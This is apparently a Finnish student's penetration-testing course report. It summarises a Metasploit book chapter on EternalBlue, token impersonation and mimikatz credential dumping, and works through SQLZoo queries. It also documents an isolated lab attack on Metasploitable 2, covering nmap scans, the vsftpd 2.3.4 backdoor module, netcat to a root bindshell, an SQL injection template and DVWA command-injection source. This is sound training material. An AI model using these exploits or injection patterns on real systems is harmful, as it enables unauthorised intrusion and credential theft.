Kurssisivu ja tehtävät: https://terokarvinen.com/2021/penetration-testing-course-2021-autumn/#h2-turbo-boosted
h2 turbo boosted
Sisällysluettelo
- h2 turbo boosted
- Sisällysluettelo
- z) Lue ja tiivistä: € Jaswal 2020: Mastering Metasploit - 4ed
- a) SQLZoo 0 - 2
- b) - m) Metasploitable
z) Lue ja tiivistä: € Jaswal 2020: Mastering Metasploit - 4ed
Chapter 1: Approaching a Penetration Test Using Metasploit (kohdasta “Conducting a penetration test with Metasploit” luvun loppuun)
- Käsittelee Metasploit version 5 käyttöä. Metasploit on Rapid 7 kehittämä open source “hakkerointi framework” joka on valmiiksi asennettuna Kali Linuxissa.
- Metasploitable on puolestaan Rapid7 Metasploit-tiimin kehittämä tarkoituksellisen haavoittuva harjoituskone jota vastaan Metasploitin käyttöä voi harjoitella.
- Metasploitissa käytettyjä termejä: Exploit, Payload, Auxiliary, Encoders, Meterpreter
- Metasploitable wiki: https://github.com/rapid7/metasploit-framework/wiki
- Metasploit-frameworkin hyötyjä: Open source, helppokäyttöinen, suurten verkkojen testaaminen, moduulin vaihdot, custom koodia puhtaampi poistuminen (ei kaada hakkeroinnin kohdekonetta)
- Suosittelee tietokantojen käyttöä tietojen automaattista tallentamista varten hakkerointia suorittaessa. Tunnilla oli puhetta tiedostoista tietokantojen sijaan. Johonkin kuitenkin pitäisi hakkeroinnin tulokset tallentaa selvästi.
- Tapausesimerkkinä olevan hyökkäyksen vaiheet: 1. Gathering intelligence, 2. Storing results to DB, 3. Conducting a port scan with Metasploit, 4. Modeling threats, 5. Vulnerability analysis, 6. Exploitation and gaining access, 7. Post-exploitation kung fu
- Tapausesimerkin yhteenveto: esitietona kohdekoneen ip:
-
- Uuden työtilan luominen
-
- Uuden työtilan käyttöönotto
-
- Nmap no ping porttiskannaus kohdekoneeseen
-
- Nmap löysi portista 445 SMB-palvelun joka käyttää Windowsia
-
- Nmap porttiskannaus
smb-os-discovery
vain porttiin 445
- Nmap porttiskannaus
-
- kohdekoneen OS selviää Windows 7 SP1 Ultimate editioniksi
-
- Windows 7 on korkeasti haavoittuva CVE-2017-0143 EternalBlue hyökkäykselle
-
- Nmap skripti
smb-vuln-ms17-010
ja skannaus haavoittuvuuden varmistamiseksi
- Nmap skripti
-
- haavoittuvuuden uudelleenvarmistus
auxiliary/scanner/smb/smb_ms17_010
Metasploit moduulilla onnistuneesti
- haavoittuvuuden uudelleenvarmistus
-
- EternalBlue moduulin käyttö kohdekonetta vastaan ja system shellin saanti käyttäen käänteistä TCP payloadia
-
- system shellin upgrade Meterpreteriksi
sessions -u
komennolla
- system shellin upgrade Meterpreteriksi
-
- migraatio PowerShell prosessista system prosessiksi epäilyttävän aktiviteetin huomaamisen välttämiseksi
-
- domain tietojen ja Domain Controllerin tietojen listaus (enumeration)
enum_domain
moduulilla
- domain tietojen ja Domain Controllerin tietojen listaus (enumeration)
-
- löytyi että Domain Controller erillisessä verkossa
-
arp
komento löysi että Domain Controller oli kohdekoneen saavutettavissa
-
autoroute
moduulilla lisättiin reititys kohdeverkkoon
-
- kohdekoneessa
ps
komennolla selvisi että vain muutama prosessi käytti domain administrator oikeuksia
- kohdekoneessa
-
- incognito plugin lataus Meterpreter shelliin ja käytössä olevien tokenien listaus
list_tokens
komennolla
- incognito plugin lataus Meterpreter shelliin ja käytössä olevien tokenien listaus
-
- administrator token käytettävissä ja esitettävissä
impersonate_token
komennolla
- administrator token käytettävissä ja esitettävissä
-
- sessio taustalle
background
komennolla jacurrent_user_psexec
modulin lataus Metaploitiin
- sessio taustalle
-
- moduulin käyttö SESSION kohdekoneella ja Domain Controller target RHOST
-
- payload varmistettu TCP payloadiksi koska DC ei välttämättä yhdistä meitä suoraan
-
- DC SYSTEM tason oikeuksien käyttö ja Meterpreter yhteys
-
smart_hashdump
moduuli ja mimikatz ja kiwi pluginien asennus Meterpreteriin
-
kerberos
jacreds_all
komennot selkotekstisten salasanojen selvittämiseksi Apex käyttäjälle Domain Controller koneella
-
a) SQLZoo 0 - 2
kommentti edellisviikon SQL-tehtäviin
WebGoatin injektioiden ja niiden perusteellisen käsittelyn tunnilla jälkeen SQLZoon alkupään harjoitukset vaikuttavat (aluksi! muuttuvat hankalimmiksi, edit.) helpoilta.
Ymmärsin viime tunnin jälkeen myös edellisessä harjoituksessa kaihertamaan jääneen kommenttimerkinnän tärkeyden injektioissa.
Jos syöttökenttä odottaa dataa merkkijonomuodossa ja on altis injektioille kannattaa omat queryt tehdä näin:
'; OMA QUERY ; --
Eli päätetään merkkijono, päätetään kysely, syötetään oma kysely, päätetään oma kysely, kommentoidaan oman kyselyn jälkeen tulevat kyselyt pois.
Näin ei tarvitse välittää siitä mitä omaa queryä ennen tai sen jälkeen oli tapahtumassa.
Tämä ei varmaan ole hopealuoti ja toimi joka tilanteessa mutta tästä voi lähteä liikkeelle.
Numeerista dataa odottavaan kenttään kannattanee antaa jokin arvo yksittäisen heittomerkin sijasta eli
0; OMA QUERY ; --
0 SELECT basics: 1-3
Mutta, tämänviikkoisiin tehtäviin.
- Ensimmäisissä kahdessa tehtävässä kysely ja syötettävät stringit ovat annettu valmiina.
- Kolmannessa tehtävässä käytetään
WHERE area BETWEEN luku1 AND luku2
ja luvut annetaan valmiina. Saman tehtävän voi ratkaista myös suurempi kuin tai yhtäsuuri ja pienempi kuin tai yhtäsuuri merkeillä.WHERE area >= luku1 AND area <= luku2
SQL:ssä yhtäsuuruusmerkki tulee pienempi/suurempi kuin merkin jälkeen.
2 SELECT from WORLD: 1-13
- Tehtävässä 2 pääsee käyttämään viime tunnilla opittua jippoa, SQL:ssä nollien määrän voi ilmaista esim. miljoonassa näin
1e6
. Käytetään sitä näyttämään kaikki 200 miljoonaa ylittävät maat:WHERE population >= 200e6
- Tehtävässä 3 siirrytään jo ihan oikeisiin kyselyihin.
Give the name and the per capita GDP for those countries with a population of at least 200 million.
Joudun katsomaan vihjeestä että tässä ei haeta pelkkää GDP:tä vaan GDP:tä asukasta kohden.
Aiemmasta SQL-kokemuksesta tiedän että sarakkeita voi nimetä itse (SQL Aliases) komennolla sarake AS [oma sarake]
. Se on käytännöllistä tällaisissa tapauksissa.
Tehdään kysely SELECT name, (gdp/population) AS [Per capita GDP] FROM world WHERE population >= 200e6
Tulee error ja virheilmoitus että MariaDB:ssä tämä ei toimi. Katsotaan MariaDB aliases.
Luodaan uusi kysely heittomerkeillä(!) hakasulkujen sijaan.
SELECT name, (gdp/population) AS "Per capita GDP" FROM world WHERE population >= 200e6
Läpi menee. Katsotaan vielä opetusvideo aiheesta. Sulkumerkit jakolaskun ympärillä olivat tarpeettomat.
- Tehtävässä 4 tulee mielenkiintoinen ongelma. Vaikka aiemmin nollien merkintä miljoonassa
1e6
syntaksilla onnistui, jakolaskussa se ei toimikaan. Ei toimi:SELECT name, population/1e6 FROM world WHERE continent = 'South America'
Toimii:SELECT name, population/1000000 FROM world WHERE continent = 'South America'
Nollilla tehtävä menee läpi. Huomaan että ensimmäinen kysely antaa enemmän desimaaleja joillakin riveillä. Muokataan kyselyä niin että vastaukset pyöristetään neljään desimaaliin:SELECT name, ROUND(population/1e6, 4) AS "Population in millions" FROM world WHERE continent = 'South America'
Herjaa edelleen että väärä vastaus. Ajetaan sama kysely mutta1e6
korvataan1000000
:lla. Vastaus näyttää aivan samalta mutta menee tällä kertaa läpi. Verrataan vastauksia https://text-compare.com/, vasemmalla hyväksytty ja oikealla hylätty vastaus:
Vastaukset ovat identtiset. Kyseessä täytyy olla SQLzoon konfiguraatio eikä varsinainen virhe queryssä.
- Tehtävässä 5 joudun selaamaan basiceihin ja muistelemaan IN operaattorin käyttöä.
WHERE name IN ('France', 'Germany', 'Italy')
eliIN ()
kun halutaan hakea useampi osuma. - Tehtävässä 6 käytetään jokeria
%jotain%
ja LIKE operaattoria.WHERE name LIKE '%United%'
- Tehtävässä 7 käytetään OR-operaattoria.
WHERE area >= 3e6 OR population >= 250e6
- Tehtävä 8 on sama mutta XOR-operaattorilla (joko tai). Eli jos molemmat ehdot täyttyvät tulosta ei kelpuuteta palautettavaan vastaukseen.
SELECT name, population, area FROM world WHERE area > 3e6 XOR population > 250e6
- Tehtävässä 9 käytetään ROUND-operaattoria jota ennätinkin jo käyttää aiemmin. Tehdään tehtävä ensin oikean vastauksen varmistamiseksi jälleen nollilla ja kokeillaan sen jälkeen e-annotaatiota.
SELECT name, ROUND(population/1000000, 2) AS "Population in millions", ROUND(gdp/1000000000, 2) AS "GDP in billions" FROM world WHERE continent = 'South America'
Kokeillaan helpompaa merkintätapaa:SELECT name, ROUND(population/1e6, 2) AS "Population in millions", ROUND(gdp/1e9, 2) AS "GDP in billions" FROM world WHERE continent = 'South America'
Herjaa väärää vastausta. Vastaus on kuitenkin jälleen täsmälleen sama. - Tehtävässä 10 trillion dollar economies e-annotaatio toimii jälleen onneksi. Pyöristys tuhansiin tapahtuu -3 eli miinus kolme nollaa.
SELECT name, ROUND(gdp/population, -3) AS "Per capita GDP" FROM world WHERE gdp >= 1e12;
- Tehtävässä 11 vertaillaan merkkijonojen pituuksia LENGTH-operaattorilla.
SELECT name, capital FROM world WHERE LENGTH(name) = LENGTH(capital);
- Tehtävässä 12 käytetään LEFT- ja NOT EQUALS-operaattoreita.
LEFT()
laskee montako merkkiä merkkijonosta otetaan vasemmalta laskien.SELECT name, capital FROM world WHERE LEFT(name,1) = LEFT(capital,1) AND name <> capital;
- Tehtävässä 13 ei ole oikotietä onneen: https://stackoverflow.com/questions/1865353/combining-like-and-in-for-sql-server
SELECT name FROM world WHERE name LIKE '%a%' AND name LIKE '%e%' AND name LIKE '%i%' AND name LIKE '%o%' AND name LIKE '%u%' AND name NOT LIKE '% %'
1 SELECT name: 1-15
Tein vahingossa kohdan 2 “Select from WORLD” ennen tätä “SELECT name” tehtäväsarjaa, joten selkeyden vuoksi dokumentoidaan se myös näin jos tulee toistoa.
- Ensimmäiset seitsemän tehtävää käsittelevät jo käsiteltyä wildcard-merkintää
%
. - Tehtävä 7:
Find the countries that have three or more a in the name
Eli haetaan name jossa mitä tahansa ja a, mitä tahansa ja a, mitä tahansa ja a, ja mitä tahansa.
WHERE name LIKE '%a%a%a%';
- Tehtävä 8:
Find the countries that have “t” as the second character.
SELECT name FROM world WHERE name LIKE '_t%';
Eli _
vastaa yhtä mitä tahansa merkkiä merkkijonossa.
- Tehtävä 9:
Find the countries that have two “o” characters separated by two others.
WHERE name LIKE '%o__o%'
Eli LIKE:n jälkeen: merkkijono alkaa, mitä tahansa, o, kaksi merkkiä, o, ja mitä tahansa, merkkijono päättyy.
- Tehtävä 10:
Find the countries that have exactly four characters.
WHERE name LIKE '____'
Eli name LIKE merkkijono neljä merkkiä.
- Tehtävä 11: Tässä vaiheessa sanotaan että alkavat haastavat tehtävät.
Find the country where the name is the capital city.
Tämähän tehtiin jo aiemmin tehtäväsarjassa 2.
SELECT name FROM world WHERE name = capital;
- Tehtävä 12: Tässä tulee uusi operaattori CONCAT() jolla katenoidaan merkkijonoja yhdeksi.
Find the country where the capital is the country plus “City”.
SELECT name FROM world WHERE capital = concat(name, ' City')
Eli capital on yhtäsuuri kuin name + väliviiva ja City
- Tehtävä 13 vaatii jo hetken pohtimista.
Find the capital and the name where the capital includes the name of the country.
Tehtävä hyväksyy vastauksen SELECT capital, name FROM world WHERE capital LIKE CONCAT(name, '%')
mutta mielestäni se on väärin. Tämä tarkoittaisi että maan nimi + mitä tahansa. Mutta ennen maan nimeä voisi olla jotakin. Joten teknisesti oikeampi vastaus on:
SELECT capital, name FROM world WHERE capital LIKE CONCAT('%', CONCAT(name, '%'))
Eli mitä tahansa, maan nimi, mitä tahansa.
- Tehtävä 14:
Find the capital and the name where the capital is an extension of name of the country.
Eli capital ja name eivät saa olla sama mutta capital on name:n jatko. Käytetään eri kuin <> operaattoria ja AND-operaattoria.
SELECT capital, name FROM world WHERE capital <> name AND capital LIKE CONCAT(name, '%');
- Tehtävä 15:
Show the name and the extension where the capital is an extension of name of the country.
Eli extension tarkoittaa capitalissa olevaa osuutta joka on eri kuin maa. Käytetään pohjana yllä olevaa vastaustamme ja tehtävässä esiteltyä REPLACE-operaattoria.
SELECT name, REPLACE(capital, name, '') AS Extension FROM world WHERE capital LIKE CONCAT(name, '%') AND name <> capital;
b) - m) Metasploitable
b) Nyrkkeilysäkki
Asenna Metasploitable 2 samaan verkkoon Kalin kanssa. Katso, ettei haavoittuva Metasploitable 2 näy Internetiin.
Alkusanat
Olen jo asentanut VirtualBoxin ja siihen kaksi virtuaalikonetta: Kali Linuxin ja Metasploitable2:sen. Seuraavaksi tehdään ehkä tehtävän kriittisin vaihe, eli varmistetaan että virtuaalikoneet ovat samassa verkossa toistensa kanssa mutta irti Internetistä. Kuten viime kerralla Over The Wiren aloittamisen kanssa, myös tätä vaihetta olen lähestynyt rauhallisesti. Itse tehtäväthän ovat sitten olleet mukavia tehdä kunhan kaikki alkuvalmistelut on varmasti hoidettu oikein.
Uuden Host Networkin luominen
Eli VirtualBoxissa virtuaalikoneille Kali Linux ja Metasploitable tulee olla yhteinen verkko. Uusimmassa VirtualBoxissa v.6.1.28 Host Network luodaan File --> Host Network Manager --> Create
. Siellä oli jo aiemmin kaksi adapteria, tuskin yksi lisää tässä haittaa. Muistetaan vaan sitten käyttää sitä samaa kaikissa koneissa. Valitaan uusi adapteri #3 molempiin virtuaalikoneisiin niiden asetuksista Settings --> Network --> Attached to: Host-only Adapter
Name: VirtualBox Host-Only Ethernet Adapter #3
. Kalilla on nyt kaksi verkkokorttia, toinen Internettiä varten ja toinen VB:n Host-only verkkoa varten. Vetästään tuo Internet adapteri vielä irti kuitenkin varmuudeksi Kalista tässä vaiheessa. Se on varmaan vielä kytkettävä päälle kun Metasploit vaatii lisäosien asentamisia.
Käynnistetään koneet ja kokeillaan verkko
Käynnistetään ensin Metasploitable2, kirjaudutaan sisään ja kokeillaan ping 8.8.8.8
, Network is unreachable, hyvä. Katsotaan ifconfig
:lla koneen oma ip. Tämä onkin jännittävää sillä koneella on pelkkä ipv6 osoite! fe80::a00:27ff:fe9e:70cb Nähtäväksi jää koituuko tästä ongelmia (koituu).
Sitten käynnistetään Kali. Pingataan Googlea kuten Metasploitablella ja sama unreachable vastaus, hyvä. Kokeillaan tavoittaa Kalilla ipv6 osoitteen takana oleva Metasploitable selaimessa kuten ipv4 osoite. Luetaan että literaalit ipv6-osoitteet tulee asettaa hakasulkuihin URL:eissa. http://[fe80::a00:27ff:fe9e:70cb]
näkyy vain musta sivu. Kokeillaan pingata ipv6 osoitetta terminaalissa ping6 fe80::a00:27ff:fe9e:70cb
. Herranjestas läpi menee ja vastauksia satelee. Kokeillaan kuitenkin jatkoa ajatellen asettaa Metasploitablelle ipv4 osoite: How to assign an I.P. to Metasploitable-2 on VirtualBox (Windows 10)
Suljetaan koneet. Mennään takaisin Host Network Manager –> Virtualbox Host-Only Ethernet Adapter #3 –> Configure Adapter Automatically –> Apply. Huomataan että herjaa ettei DHCP-palvelin ole päällä. DHCP:n tehtävä on jakaa ip-osoitteita lähiverkkoon kytkeytyville laitteille joten laitetaan se päälle ja kokeillaan uudestaan.
Nyt Metasploitablella on ipv4-osoite (192.168.233.3) ja se ei ole Internetissä. Kalikin tervehtii sitä selaimessa nyt iloisesti:
c) Nauhalle
Nauhoita kaikki konsolissa annetut asiat ja näkyvät tulosteet koko tehtävästä. (esim script)
Tähänhän olikin annettu suora ohje, script -fa metaharjoitusloki
nauhoittaa konsolissa tapahtuvat toiminnot. Testataan. Kyllä toimii.
d) Ei kuulu!
Ennenkuin aloitat skannaukset, kokeile, ettei Kali pääse nettiin ‘ping 8.8.8.8’ vastaa “Network is unreachable”.
Kokeillaan vielä kerran ettei kumpikaan vm pääse nettiin. Ei pääse.
e) Piilosilla
Etsi Metasploitable 2 verkkoskannauksella. Tarkista ensin, että osoitteet ovat uskottavia (ipcalc 10.0.0.1/23). Sitten ping sweep (nmap -sn). Analysoi tulokset, eli selitä, mitä mikäkin asia tulosteessa tarkoittaa. Mitä päättelet eri koneista?
Ensin pitää katsoa siis mitä koneita Kalin verkosta löytyy. Aloitetaan tässä vaiheessa kuitenkin vielä aivan alusta:
- Pitääkö Metasploit-framework ottaa käyttöön Kalissa erillisellä komennolla?
- https://www.kali.org/docs/tools/starting-metasploit-framework-in-kali/
- Dokumentaatiossa puhutaan vain Metasploitin DB-tuesta. Me yritetään selvitä ilman ja tallennetaan tulokset tiedostoihin: “Tallenna nmap-komentojen tulosteet ‘sudo nmap localhost -oA teronmap123’”
- Dokumentaation lopussa sanotaan että msfconsole avataan komennolla
msfconsole -q
.
- Pitikö alussa luoda uusi työtila?
- Luetaan orientoivaa dokumentaatiota. Uusi työtila luodaan Metasploitissa
workspace
-komennolla.
- Luetaan orientoivaa dokumentaatiota. Uusi työtila luodaan Metasploitissa
- Kuinka verkkoskannaus tehtiinkään?
- Vaikka harjoituksessa tiedämme kohdekoneen ip-osoitteen, tehtävässä on tarkoitus etsiä kohdekone verkkoskannauksella.
Metasploitin käyttöönotto
Ajetaan Kalissa msfconsole -q
. Meidän Metasploit versio on jo nähtävästi 6. Ajetaan varmuudeksi myös script -fa metaloki
. Se heittää ulos msfconsolesta. Yritetään aloittaa uusi workspace msfconsolessa workspace -h
. Database not connected. No sehän me jo tiedettiin ja sitä ei tehtävässä vaadittu joten ei luoda erillistä työtilaa kun ei sen tarpeellisuutta tehtävän suorittamiseksi vielä tiedetä.
Verkkoskannaus
Ensin on selvitettävä oma verkko. Kalin ip-osoite on 192.168.233.5 ja verkkopeite 255.255.255.0. Koska viime kerrasta on vähän aikaa käytetään verkon laskemiseen laskuria: https://www.calculator.net/ip-subnet-calculator.html.
- Skannattava verkko on: 192.168.233.5/24
- Tyyppiä privaatti kuten laskurikin kertoo. Privaatit ipv4 verkkoranget
- Class A: 10.0.0.0 to 10.255.255.255
- Class B: 172.16.0.0 to 172.31.255.255
- Class C: 192.168.0.0 to 192.168.255.255 (meidän verkko tällä rangella)
Kokeillaan tässä vaiheessa vielä varmuudeksi ettei Kali ole verkossa. Tallenetaan nmap komentojen tulosteet sudo nmap localhost -oA metaNmap
. Jahas se taisikin vain tallentaa tämän yhden komennon eli localhostin skannauksen tulosteen ja kolmeen eri tiedostoon: metaNmap.gnmap, .nmap ja .xml.
Skannataan verkko ping sweepillä (vanha flägi -sP korvattu uudella flägillä -sn, molemmat tekevät portittoman skannauksen):
nmap -sP 192.168.233.5/24 -oA webscan
. Kokeillaan samaa komentoa Metasploit-konsolissa molemmilla flägeillä. Vastaukset näyttävät identtisiltä. Käytin myös vahingossa viimeisenä numerona 5 vaikka olisi pitänyt olla 0 mutta tulokset ovat samat.
┌──(kali㉿kali)-[~] └─$ nmap -sP 192.168.233.5/24 -oA webscan Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-06 11:46 EDT Nmap scan report for 192.168.233.3 Host is up (0.00067s latency). Nmap scan report for 192.168.233.5 Host is up (0.00054s latency). Nmap done: 256 IP addresses (2 hosts up) scanned in 15.55 seconds
Eli löysimme kaksi hostia verkosta, itsemme ja Metasploitable 2:sen. Tästä emme tosin voisi vielä paljoa päätellä: hostit ovat pystyssä ja latenssi on pieni. Materiaalia tästä verkkoskannauksesta löytyi ikävän vähän muiden aiempien kurssilaisten dokumentaatiosta koska he olivat kiirehtineet porttiskannaamaan tiedossa olevaa kohdekonetta ja käytin materiaalina Network Chuckin Youtube-videota ja linuxhint.comin nmap ping sweep postausta.
f) Kilo
Porttiskannaa 1000 tavallisinta porttia löydetyistä koneista. Selitä ja analysoi tulokset. Mikä koneista voisi olla Metasploitable 2?
Kuten tunnilla tuli esille, nmap skannaa oletuksena 1000 tavallisinta porttia.
Ohjeita
Nmap skannaa oletuksena 1000 tavallisinta porttia, ‘sudo nmap localhost’. -vv tai v klikkailemalla ajon aikana saa lisää tietoa. Useimmat napit ‘s’ kertovat statuksen, eli paljonko on skannattu. Perusteellinen skannaus, esim ‘sudo nmap -sV localhost’ ja ehkä myös hitaampi ‘sudo nmap -A -p- localhost’.
- Nmap Kali Linux dokumentaatio: https://www.kali.org/tools/nmap/
- Nmap komennon loppuun
-oA dokumentti
tallentaa tulokset dokumenttiin.
Skannausta
Skannataan ensin oma kone kevyesti sudo nmap 192.168.233.5 -oA kevytskanni
. Tämähän me tiedetään että on meidän omamme ifconfig
. Printataan tulokset näytölle cat kevytskanni.nmap
. All 1000 scaned ports 192.168.233.5 are closed. Jahas. Meillä on UFW käytössä ja deny all incoming.
Skannataan sitten “tuntematon” kone. sudo nmap 192.168.233.3 -oA kevytskannisploitable
. 977 porttia kiinni, mutta 23 siis auki!
Ajetaan vielä perusteellisemmat porttiskannaukset flägillä -sV.
└─$ sudo nmap -sV 192.168.233.3 -oA raskasskannisploitable >
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-06 14:27 EDTNmap scan report for 192.168.233.3
Host is up (0.00013s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:9E:70:CB (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Eli saadaan näkyviin vielä palveluiden versionumerotkin.
g) Ja tiskiallas
Porttiskannaa Metasploitable 2 perusteellisesti. Selitä ja analysoi tulokset. Selitä kustakin avoimesta portista, mikä palvelu siinä on / mihin se on tarkoitettu, onko se tavallisesti näkyvissä Internetiin ja onko se nykyiaikainen. Voit myös arvioida, onko versio päivitetty.
Perusteellinen porttiskannaus ennätettiin jo suorittaa ylempänä. Analysoidaan tulokset.
Entuudesta tutut palvelut ja portit
- Tiedostonsiirtoprotokolla ftp portissa 21
- ssh eli salattu yhteys portissa 22
- vanhentunut protokolla telnet 23
- sähköpostiprotokolla 25
- http-protokolla 80
- mysql tietokanta portissa 3306 olivat entuudesta tuttuja
Http:tä olen tottunut näkemään portissa 8080 portin 80 lisäksi mutta tässä se oli 8180. Ftp 2121 on varmaan samoin tavallinen tapa. Muut on varmaan ihan ok mutta MySQL-tietokannan (ja sähköpostipalvelimen) on tuskin tarkoitus näkyä ulospäin maailmalle? Tietokannan olisi tarkoitus pyöriä palvelimella ja palvelimeen otetaan yhteyttä API:n kautta ja palvelin hoitaa sitten tietokantakyselyt API:n kautta tulevien ennakkoon määriteltyjen requestien kautta. Sähköpostipalvelin puolestaan saa näkyä sisäverkkoon mutta se ei saisi olla auki näin rajoittamattomasti kaikille.
Tuttu nimi tai ennakkotiedoilla pääteltävissä olevat
- DNS 53 https://www.redhat.com/sysadmin/dns-configuration-introduction
- PostgreSQL 5432 http://www.project-open.com/en/howto-postgresql-port-secure-remote-access
- Samat kommentit kuin MySQL-kantaankin.
- irc 6667, tekstipohjainen chat/pikaviestiohjelma.
Uudet tuttavuudet
HackTricks antaa hyvät selitykset kaikista porteista.
- rpcbind portissa 111 tarkoitus on välittää tieota unix-pohjaisten järjestelmien välillä. Portin tarkoitus jää vielä hämäräksi ja siihen törmätään vielä myöhemmässä vaiheessa toista harjoitusta.
- netbios-ssn porteissa 139 ja 445: https://en.wikipedia.org/wiki/NetBIOS. Tarkoitus että näkyy sisäverkkoon mutta ei tälleen holtittomasti olla auki.
- 512 exec https://en.wikipedia.org/wiki/Remote_Shell
- 513 https://book.hacktricks.xyz/pentesting/pentesting-rlogin
- 514 shell https://book.hacktricks.xyz/pentesting/pentesting-rsh
- 1099 java-rmi: Java-ohjelmien väliseen kommunikointiin tarkoitettu palvelu. https://book.hacktricks.xyz/pentesting/1099-pentesting-java-rmi
- 1524 bindshell Metasploitable root shell, vaikuttaa Metasploitable spesifiltä palvelulta. Ei ole, vaan on ingreslock portti Ingres-tietokannalle: https://flylib.com/books/en/3.349.1.134/1/
- 2049 nfs: Client/server palvelu joka mahdollistaa käyttäjien käyttöoikeudet tiedostoihin verkossa kuin omalla koneellaan.
- 5900 vnc: Virtual Network Computing graafisen käyttöliittymän etätyöpöytäyhteys joka käyttää Remote Frame Buffer (RFB) protokollaa etäkoneiden hallintaan.
- 6000 X11: The X Windows System (aka X) on bitmap näyttöjen (unix os) ikkunasysteemi.
- 8009 ajp13: http:n optimisoitu protokolla, mahdollistaa Apachen ja Tomcatin yhteistyön, antaa apachen toimittaa staattiset sisällöt ja ohjata tomcatille tomcat-sisällön.
- 8180 http: Näyttää olevan Apache/Tomcat http-palvelu.
h) Sataa simpukoita
Tunkeudu vsftpd-palveluun.
Eli ftp-tiedostonsiirtopalveluita oli kaksi, porteissa 21 ja 2121. vsftpd versio 2.3.4 löytyi portin 21 takaa. Etsitään ohjeita kuinka tunkeutuminen tulisi suorittaa. Katsotaan ensin orientoiva video aiheesta: https://www.youtube.com/watch?v=1WABYEaXPpI. Nyt olisi myös hyvä aika palata harjoituksen aloitustehtävänä olleeseen dokumentaatioon.
- Käynnistetään Metasploit:
msfconsole -q
- Etsitään moduuleita vsftpd-palvelua vastaan:
search vsftpd
msf6 > search vsftpd
Matching Modules
# Name Disclosure Date Rank Check Description
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
- Käytetään modulia:
use exploit/unix/ftp/vsftpd_234_backdoor
. Herjaa että “No payload configured, defaulting to cmd/unix/interact”. Ei väliä, oikea payload asetetaan myöhemmin. - Katsotaan modulin kuvaus:
info
. Mennään Descriptionissa olevaan linkkiin: https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit. - Asetetaan kohdekone eli Metasploitable2:
set RHOST 192.168.233.3
- Tarkastetaan ekana että ip on pysynyt samana kun välissä on vuorokausi vierähtänyt ja koneet olleet pois päältä. On pysynyt.
- Katsotaan että meni oikein
options
. Meni oikein, current setting RHOSTS 192.168.233.3 - Seuraavaksi pitäisi asettaa payload. Katsotaan payloadit:
show payloads
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
Compatible Payloads
# Name Disclosure Date Rank Check Description
0 payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection
- Asetetaan payload:
set payload payload/cmd/unix/interact
- Ja lopulta ajetaan hyökkäys:
exploit
. Johan pärisee, läpi meni että hujahti, listataan kohdekoneen sisältöls
.
En uskalla turhia seikkailla koneessa ennen kuin katson lisää ohjeita, koska käsitin että väärän komennon ajaminen saattaa tässä vaiheessa kaataa hyökkäyksen ja sen uudelleen yrittäminen voi olla mahdotonta (varmaan kohdekoneen buutti tosin resetoi haavoittuvuuden). Tunnilla tässä vaiheessa esimerkkihyökkäystä muistaakseni vaihdettiin ssh-yhteyden pääkäyttäjän passu ja jatkettiin hyökkäystä ssh:n yli. Mutta tämä tehtävä on tällä haavaa valmis.
i) Ovi jäi auki
Mitä löytyy portista 1524/tcp? Kokeile netcattilla ‘nc’.
Portin 1524 takaa löytyi bindshell-palvelu joka oli “Metasploitable root shell”. Kokeillaan netcatilla https://www.tecmint.com/netcat-nc-command-examples/ portin skannausta. Menen Metasploit-konsoliin msfconsole -q
. Ajan nc -v -n 192.168.233.3 1524
. Portti 1524 on ingerslock portti. Kuvittelin että kyseessä on pelkkä porttiskannaus mutta olemme nyt metasploitablen pääkäyttäjinä sisällä koneessa. Flägi -v on verbose joten flägi -n on yhteydenottoflägi.
Nyt olemme tunkeutuneet koneelle jo kahdesta portista, ingerslock portista 1524 ja aiemmin ftp portista 80:ntä.
j) Darn Low Security
Etsi Metasploitable 2 weppipalvelin. Tee paikallinen tunnus DVWA Damn Vulnerable Web App -ohjelmaan. Aseta vasemman reunan palkista “DVWA Security” Low.
Web-palvelimet pyörivät porteissa 80 ja 8180. DVWA löytyy default-portin takaa osoittesta: http://192.168.233.3/dvwa. Se antaa siellä käyttäjänimen ja salasanan: u: admin, pw: password. Kirjaudutaan sisään. Asetetaan DVWA Security Low ja Submit.
k) Execute!
Ratkaise DVWA “Command Excution”. (“DVWA Security” on paras olla “Low”)
Mennään sivuvalikossa Command Execution. Kyseessä on siis Command Injection jota ajetaan palvelimella sivun php-tiedoston kansiossa. Tiedämme että kohdekoneen portissa 80 on linux-palvelin koska apache on linux-moduuli. Sivun lähdekoodi:
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
